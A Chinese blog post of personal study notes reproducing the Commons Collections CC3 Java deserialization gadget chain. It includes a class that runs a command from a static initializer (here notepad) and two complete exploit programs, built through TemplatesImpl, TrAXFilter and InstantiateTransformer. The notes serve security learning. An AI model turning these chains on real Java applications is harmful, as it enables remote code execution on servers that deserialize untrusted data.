Java反序列化-cc3链挖掘复现(个人学习笔记)

前言

此条CC3、CC2和CC4都是通过(代码执行)来实现的,而向之前的CC1和CC6都是通过(命令调用执行)的,今天来分析CC3的两条链。

 第一条:

流程分析图:

代码分析:

        首先,我们通过ClassLoader类里面搜索defineClass()方法,再查找用法,找到这里的defineClass()方法

protected final Class<?> defineClass(String name, byte[] b, int off, int len)

        可以看到在 TemplatesImpl 类中,调用的defineClass是default属性,在 package com.sun.org.apache.xalan.internal.xsltc.trax  这个包下可以调用。

        继续查找这个default属性的defineClass(),发现是在defineTransletClasses()方法中调用了它,继续寻找defineTransletClasses()方法在哪里调用了,直到找到public属性的方法。

        我们发现在这里有newInstance()方法,是一个初始化的过程。

        因此我们需要重点关注这个getTransletInstance()方法,并且顺利走到 .newInstance()方法。

        再向上查找调用看看有没有public属性的,

        我们找到了 public synchronized Transformer newTransformer() 就可以停止了。

        还需要找  _class[_transletIndex]  赋值点。

进入defineTransletClasses()方法中发现是加载的字节码赋值的。

        到现在我们知道了是从 TemplatesImpl.newTransformer() => ... =>defineClass->newIstance()

TemplatesImpl templates = new TemplatesImpl();

         TemplatesImpl类继承了序列化接口

 三个if条件判断:

       在此处是_name是不能为null的,在defineTransletClasses()方法中,

        如果_bytecodes为空就会报出异常,因此我们的_bytecodes也不能为空。

        接下来我们就需要利用反射来进行修改值。同时我们发现_bytecodes是一个二维数组,

        但是defineClass接受的是一个一维数组。

        所以我们想的的先用一维数组装入我们的代码,再套一层就是二维数组了。

接下来是_tfactory是一个transient属性的值。

        同时在Readobject类里面它是被赋值为这个的 new TransformerFactoryImpl();

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        //_name
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Rsecret2");
        //_bytecodes
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //_tfactory
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        templates.newTransformer();
    }

目前代码执行之后会报错,空指针错误。

 

        我们发现在这个空指针下,我们不用修改,只需要把这个上面的if判断 _transletIndex = 1 ,通过就行,因此我们就让

superClass.getName().equals(ABSTRACT_TRANSLET)

此处的值为true即可, 这个也可以跳过下面的if<0的判断。

        因此我们需要执行代码的父类要是这个ABSTRACT_TRANSLET类

修改后的cc3_dynamic.java为如下,并且再编译一下。

package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class cc3_dynamic extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("notepad");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
}

可以看到是执行了"notepad"

第一条exp:

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        //_name
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Rsecret2");
        //_bytecodes
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //_tfactory
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//        templates.newTransformer();
        //结合cc1
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(c.getClassLoader(),new Class[]{Map.class},h);
        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

//        serialize(o);
        unserialize(o);

第二条:

分析流程图:

代码分析:

        package com.sun.org.apache.xalan.internal.xsltc.trax,在这个包下TrAXFilter类下,也调用了这个newTransformer()方法。

        我们来分析一下:

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

它的构造方法直接传入了一个类,然后这个类调用了newTransformer()方法。

        但是我们想序列化只能从.class入手了。

InstantiateTransformer:

在它的transform方法中:

        接收一个输入对象,检查它是否是Class的实例,如果不是就抛出异常。如果是的话,就获取该Class对应参数类型的构造函数,并用提供的参数实例化一个对象返回。

        我们再看一下它的构造函数,

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }

我们需要利用InstantiateTransformer来实例化TrAXFilter类,

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

instantiateTransformer.transforem(TrAXFileter.class)

再结合cc1就组成了我们的第二条,并且不用InvocationHandler的CC3链

第二条exp:

public class cc3_disInvocation {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        //_name
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, "Rsecret2");
        //_bytecodes
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp1\\cc3_dynamic.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates, codes);
        //_tfactory
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(c.getClassLoader(), new Class[]{Map.class}, h);
        Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy);

//        serialize(o);
        unserialize(o);
    }

    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void unserialize(Object obj) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }
}

_tfactory

        在readObject里面已经给_tractory赋值了,所以最后的代码我们利用反射赋值和不利于都可以,这里就不演示了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值